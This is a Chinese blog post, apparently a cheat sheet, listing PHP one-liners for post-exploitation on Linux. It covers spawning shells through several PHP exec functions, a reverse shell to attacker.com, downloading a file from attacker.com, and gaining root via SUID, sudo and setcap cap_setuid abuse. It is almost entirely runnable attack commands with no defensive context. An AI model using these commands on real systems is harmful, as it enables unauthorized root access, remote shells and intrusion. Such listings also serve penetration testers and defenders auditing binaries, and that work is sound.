menu C7ay
PHP提权姿势
539 浏览 | 2021-07-01 | 阅读时间: 约 1 分钟 | 分类: 提权 | 标签: 提权
请注意,本文编写于 632 天前,最后修改于 630 天前,其中某些信息可能已经过时。

Shell

export CMD="/bin/sh"
php -r 'system(getenv("CMD"));'
export CMD="/bin/sh"
php -r 'passthru(getenv("CMD"));'
export CMD="/bin/sh"
php -r 'print(shell_exec(getenv("CMD")));'
export CMD="/bin/sh"
php -r '$r=array(); exec(getenv("CMD"), $r); print(join("\\n",$r));'
export CMD="/bin/sh"
php -r '$h=@popen(getenv("CMD"),"r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'

Command

export CMD="id"
php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$h = @proc_open(getenv("CMD"), $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'

Reverse Shell

目标机

nc -lp 4444
export RHOST=attacker.com
export RPORT=4444
php -r '$sock=fsockopen(getenv("RHOST"),getenv("RPORT"));exec("/bin/sh -i <&3 >&3 2>&3");'

File upload

php version5.4或以上

LHOST=0.0.0.0
LPORT=8888
php -S $LHOST:$LPORT

File download

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'

SUID

sudo sh -c 'cp $(which php) .; chmod +s ./php'

CMD="/bin/sh"
./php -r "pcntl_exec('/bin/sh', ['-p']);"

Sudo

CMD="/bin/sh"
sudo php -r "system('$CMD');"

Capabilities

cp $(which php) .
sudo setcap cap_setuid+ep php

CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"
知识共享署名-非商业性使用-转载须保留本文的署名

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!